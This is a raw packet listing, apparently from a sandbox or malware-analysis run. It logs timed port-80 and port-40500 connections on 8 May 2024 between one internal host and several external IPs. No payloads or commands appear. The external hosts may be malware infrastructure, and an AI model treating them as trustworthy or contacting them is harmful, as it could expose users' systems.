May 8, 2024 15:25:28.948767900 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:28.948791027 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.948822975 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.948884010 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:28.948925972 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.948956013 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:28.949007988 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.949280977 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:28.949331045 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.949350119 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:28.949364901 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:28.949398994 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.949412107 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:28.949415922 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.949429989 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:28.949454069 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.949475050 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.950375080 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:28.950403929 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:29.271332026 CEST	80	49785	193.233.132.177	192.168.2.8
May 8, 2024 15:25:29.292471886 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:29.292501926 CEST	80	49786	185.215.113.66	192.168.2.8
May 8, 2024 15:25:29.292531013 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:29.292567968 CEST	49786	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:29.777611971 CEST	49785	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:29.782262087 CEST	49783	40500	192.168.2.8	111.9.3.39
May 8, 2024 15:25:30.130815029 CEST	80	49785	193.233.132.177	192.168.2.8
May 8, 2024 15:25:30.985513926 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.327042103 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.327177048 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.327326059 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.669312954 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669333935 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669440985 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.669538975 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669554949 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669569016 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669584990 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669585943 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.669599056 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669616938 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669625998 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.669632912 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669647932 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669655085 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.669668913 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:31.669677019 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.669712067 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.669729948 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.670367002 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:31.670401096 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.009761095 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.009812117 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.009915113 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.009942055 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.009957075 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.009982109 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.009991884 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010031939 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010066032 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010117054 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010154963 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010185957 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010221004 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010241985 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010257006 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010271072 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010282040 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010283947 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010297060 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010298967 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010313988 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010317087 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010338068 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010339975 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010361910 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010376930 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010452032 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010487080 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010536909 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010551929 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010564089 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010571957 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010580063 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010588884 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010595083 CEST	80	49787	185.215.113.66	192.168.2.8
May 8, 2024 15:25:32.010603905 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010618925 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:32.010634899 CEST	49787	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:33.518214941 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:33.701981068 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:33.860836029 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:33.860995054 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:33.861295938 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.042619944 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.042803049 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.043001890 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.201281071 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201303959 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201319933 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201376915 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.201409101 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.201459885 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201494932 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201503992 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.201533079 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.201590061 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201602936 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201617002 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201627970 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.201632023 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.201646090 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.201673031 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.202163935 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.202184916 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.383764982 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.384295940 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.384366989 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.384413004 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.384497881 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.384520054 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.384562016 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.384571075 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.384605885 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.384706974 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.384754896 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.384996891 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.385027885 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.385037899 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.385054111 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.385087967 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.385137081 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.385186911 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.385214090 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.385229111 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.385238886 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.385272980 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.385272980 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.541944981 CEST	80	49788	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.542040110 CEST	49788	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.726495028 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.726514101 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.726524115 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.726613998 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.726623058 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.726627111 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.726665974 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.726686954 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.726860046 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.726902962 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.727061987 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.727075100 CEST	80	49789	185.215.113.66	192.168.2.8
May 8, 2024 15:25:34.727102041 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:34.727116108 CEST	49789	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.233103037 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.404850960 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.571927071 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.574623108 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.574939013 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.746140957 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.746273041 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.746490955 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.916476965 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.916764021 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.916779041 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.916794062 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.916820049 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.916848898 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.916894913 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.916908026 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.916920900 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.916938066 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.916956902 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.917057991 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.917071104 CEST	80	49790	185.215.113.66	192.168.2.8
May 8, 2024 15:25:36.917099953 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.917179108 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.919401884 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:36.919429064 CEST	49790	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.086929083 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087049007 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087101936 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087224960 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087219000 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.087254047 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.087299109 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.087462902 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087486982 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087502003 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087527990 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087534904 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.087543964 CEST	80	49791	185.215.113.66	192.168.2.8
May 8, 2024 15:25:37.087600946 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.087707043 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.088016033 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.088073969 CEST	49791	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:37.817307949 CEST	49783	40500	192.168.2.8	111.9.3.39
May 8, 2024 15:25:38.998181105 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.108266115 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.336550951 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.336829901 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.337002993 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.483798981 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.483880997 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.484021902 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.677966118 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.677988052 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.678083897 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678095102 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.678160906 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678167105 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.678183079 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.678198099 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.678201914 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678224087 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678244114 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678260088 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.678298950 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678329945 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.678368092 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678381920 CEST	80	49792	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.678423882 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678901911 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.678937912 CEST	49792	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.822312117 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.822788954 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.822804928 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.822870016 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.822957039 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.822978020 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.823024988 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823054075 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823371887 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.823386908 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.823412895 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823434114 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823673964 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823708057 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823712111 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.823726892 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.823751926 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823775053 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823790073 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.823805094 CEST	80	49793	185.215.113.66	192.168.2.8
May 8, 2024 15:25:39.823823929 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:39.823844910 CEST	49793	80	192.168.2.8	185.215.113.66
May 8, 2024 15:25:41.327995062 CEST	80	49777	91.202.233.141	192.168.2.8
May 8, 2024 15:25:41.328058004 CEST	49777	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:42.716382027 CEST	49777	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:42.716691971 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:42.857667923 CEST	49795	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:43.061362982 CEST	80	49777	91.202.233.141	192.168.2.8
May 8, 2024 15:25:43.063154936 CEST	80	49794	91.202.233.141	192.168.2.8
May 8, 2024 15:25:43.063225031 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:43.063368082 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:43.202824116 CEST	80	49795	91.202.233.141	192.168.2.8
May 8, 2024 15:25:43.202918053 CEST	49795	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:43.203051090 CEST	49795	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:43.411587954 CEST	80	49794	91.202.233.141	192.168.2.8
May 8, 2024 15:25:43.412086964 CEST	80	49794	91.202.233.141	192.168.2.8
May 8, 2024 15:25:43.412163019 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:43.547919989 CEST	80	49795	91.202.233.141	192.168.2.8
May 8, 2024 15:25:43.548258066 CEST	80	49795	91.202.233.141	192.168.2.8
May 8, 2024 15:25:43.548360109 CEST	49795	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:45.434943914 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:45.576303005 CEST	49795	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:45.576699972 CEST	49796	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:45.781805038 CEST	80	49794	91.202.233.141	192.168.2.8
May 8, 2024 15:25:45.781867027 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:45.921127081 CEST	80	49795	91.202.233.141	192.168.2.8
May 8, 2024 15:25:45.921211958 CEST	49795	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:45.926316023 CEST	80	49796	91.202.233.141	192.168.2.8
May 8, 2024 15:25:45.926405907 CEST	49796	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:45.926543951 CEST	49796	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:46.276807070 CEST	80	49796	91.202.233.141	192.168.2.8
May 8, 2024 15:25:46.277040005 CEST	80	49796	91.202.233.141	192.168.2.8
May 8, 2024 15:25:46.277164936 CEST	49796	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:47.810445070 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:48.156766891 CEST	80	49794	91.202.233.141	192.168.2.8
May 8, 2024 15:25:48.156882048 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:48.311369896 CEST	49796	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:48.311671019 CEST	49797	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:48.660558939 CEST	80	49796	91.202.233.141	192.168.2.8
May 8, 2024 15:25:48.660645962 CEST	49796	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:48.666532993 CEST	80	49797	91.202.233.141	192.168.2.8
May 8, 2024 15:25:48.666672945 CEST	49797	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:48.666867971 CEST	49797	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:48.900365114 CEST	49798	40500	192.168.2.8	88.204.241.110
May 8, 2024 15:25:49.024485111 CEST	80	49797	91.202.233.141	192.168.2.8
May 8, 2024 15:25:49.024565935 CEST	80	49797	91.202.233.141	192.168.2.8
May 8, 2024 15:25:49.024642944 CEST	49797	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:49.902575016 CEST	49798	40500	192.168.2.8	88.204.241.110
May 8, 2024 15:25:51.217668056 CEST	49799	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:51.217803001 CEST	49797	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:51.218004942 CEST	49800	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:51.563277006 CEST	80	49800	91.202.233.141	192.168.2.8
May 8, 2024 15:25:51.563431025 CEST	49800	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:51.563631058 CEST	49800	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:51.570775032 CEST	80	49799	193.233.132.177	192.168.2.8
May 8, 2024 15:25:51.572272062 CEST	80	49797	91.202.233.141	192.168.2.8
May 8, 2024 15:25:51.572395086 CEST	49797	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:51.909006119 CEST	80	49800	91.202.233.141	192.168.2.8
May 8, 2024 15:25:51.909209013 CEST	80	49800	91.202.233.141	192.168.2.8
May 8, 2024 15:25:51.909300089 CEST	49800	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:52.012219906 CEST	49798	40500	192.168.2.8	88.204.241.110
May 8, 2024 15:25:52.076541901 CEST	49799	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:52.429670095 CEST	80	49799	193.233.132.177	192.168.2.8
May 8, 2024 15:25:52.933765888 CEST	49799	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:53.288975000 CEST	80	49799	193.233.132.177	192.168.2.8
May 8, 2024 15:25:53.793339014 CEST	49799	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:53.935472012 CEST	49800	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:53.935822964 CEST	49801	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:54.148015022 CEST	80	49799	193.233.132.177	192.168.2.8
May 8, 2024 15:25:54.280884027 CEST	80	49800	91.202.233.141	192.168.2.8
May 8, 2024 15:25:54.282645941 CEST	49800	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:54.287169933 CEST	80	49801	91.202.233.141	192.168.2.8
May 8, 2024 15:25:54.290606022 CEST	49801	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:54.290774107 CEST	49801	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:54.642321110 CEST	80	49801	91.202.233.141	192.168.2.8
May 8, 2024 15:25:54.642417908 CEST	80	49801	91.202.233.141	192.168.2.8
May 8, 2024 15:25:54.642558098 CEST	49801	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:54.652534962 CEST	49799	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:55.005399942 CEST	80	49799	193.233.132.177	192.168.2.8
May 8, 2024 15:25:56.027555943 CEST	49798	40500	192.168.2.8	88.204.241.110
May 8, 2024 15:25:56.669929028 CEST	49801	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:56.670205116 CEST	49802	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:57.026108027 CEST	80	49801	91.202.233.141	192.168.2.8
May 8, 2024 15:25:57.026196003 CEST	49801	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:57.027179003 CEST	80	49802	91.202.233.141	192.168.2.8
May 8, 2024 15:25:57.027302027 CEST	49802	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:57.027489901 CEST	49802	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:57.029340982 CEST	49803	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:57.380206108 CEST	80	49802	91.202.233.141	192.168.2.8
May 8, 2024 15:25:57.380295992 CEST	80	49802	91.202.233.141	192.168.2.8
May 8, 2024 15:25:57.380425930 CEST	49802	80	192.168.2.8	91.202.233.141
May 8, 2024 15:25:57.382529974 CEST	80	49803	193.233.132.177	192.168.2.8
May 8, 2024 15:25:57.918157101 CEST	49803	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:58.271414995 CEST	80	49803	193.233.132.177	192.168.2.8
May 8, 2024 15:25:58.777549028 CEST	49803	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:59.130918980 CEST	80	49803	193.233.132.177	192.168.2.8
May 8, 2024 15:25:59.636882067 CEST	49803	80	192.168.2.8	193.233.132.177
May 8, 2024 15:25:59.990106106 CEST	80	49803	193.233.132.177	192.168.2.8
May 8, 2024 15:26:00.420448065 CEST	49804	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:00.496408939 CEST	49803	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:00.772665977 CEST	80	49804	193.233.132.177	192.168.2.8
May 8, 2024 15:26:00.849531889 CEST	80	49803	193.233.132.177	192.168.2.8
May 8, 2024 15:26:01.277579069 CEST	49804	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:01.626549959 CEST	80	49804	193.233.132.177	192.168.2.8
